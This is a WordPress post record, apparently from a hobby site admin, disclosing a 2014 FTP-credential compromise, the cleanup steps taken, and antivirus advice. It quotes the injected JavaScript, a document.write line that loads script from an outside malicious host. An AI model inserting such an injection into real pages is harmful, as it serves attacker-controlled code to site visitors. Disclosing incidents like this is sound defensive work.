Don’t worry we still have control of the site but the java script files have been compromised up to 3 layers deep
\nI have fixed all the js files that the homepages uses to be sure that it is still safe to use
\nthe forums do not use java script so they are safe
\nI have taken down the gallery do to its heavy usage of java script until I can clean that up as well
\nI have opened a ticket with the host so they can address the security hole<\/p>\n
what has happened was a compromised ftp password march 1 2014 @9:33 AM EST\u00a0 an ftp bot ran through all the site (up to 3 levels deep and injected this:<\/p>\n
\/*<\/p>\n
\/*19f955*\/<\/p>\n
\/*pcpc0978586pc09*\/<\/p>\n
document.write(“<script type=’text\/javascript’ src=’http:\/\/kleraostrada.com.br\/brpH7TXR.php?id=’><\/”+ “script>”);<\/p>\n
\/*\/19f955*\/<\/p>\n
*\/<\/p>\n
the site is safe as of now<\/p><\/blockquote>\n","protected":false},"excerpt":{"rendered":"
ANY one who has Accessed beefgir after march first scan your system for viruses here are some\u00a0 links to good free antivirus\/malware malwarebytes AVG comodo avast Don’t worry we still have control of the site but the java script files have been compromised up to 3 layers deep I have fixed all the js files that the homepages uses to be sure that it is still safe to use the forums do not use java script so they are safe I have taken down the gallery do to its heavy usage of java script until I can clean that up as well I have opened a ticket with the host so they can address the security hole what has happened was a compromised ftp password march 1 2014 @9:33 AM EST\u00a0 an ftp bot ran through all the site (up to 3 levels deep and injected this: (note i commented the section out in case a browser trys to read it) \/* \/*19f955*\/ \/*pcpc0978586pc09*\/ document.write(“<script type=’text\/javascript’ src=’http:\/\/kleraostrada.com.br\/brpH7TXR.php?id=’><\/”+ “script>”); \/*\/19f955*\/ *\/ the site is safe as of now<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[14,13],"tags":[],"_links":{"self":[{"href":"http:\/\/killernat.com\/index.php?rest_route=\/wp\/v2\/posts\/244"}],"collection":[{"href":"http:\/\/killernat.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/killernat.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/killernat.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/killernat.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=244"}],"version-history":[{"count":2,"href":"http:\/\/killernat.com\/index.php?rest_route=\/wp\/v2\/posts\/244\/revisions"}],"predecessor-version":[{"id":247,"href":"http:\/\/killernat.com\/index.php?rest_route=\/wp\/v2\/posts\/244\/revisions\/247"}],"wp:attachment":[{"href":"http:\/\/killernat.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=244"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/killernat.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=244"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/killernat.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=244"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}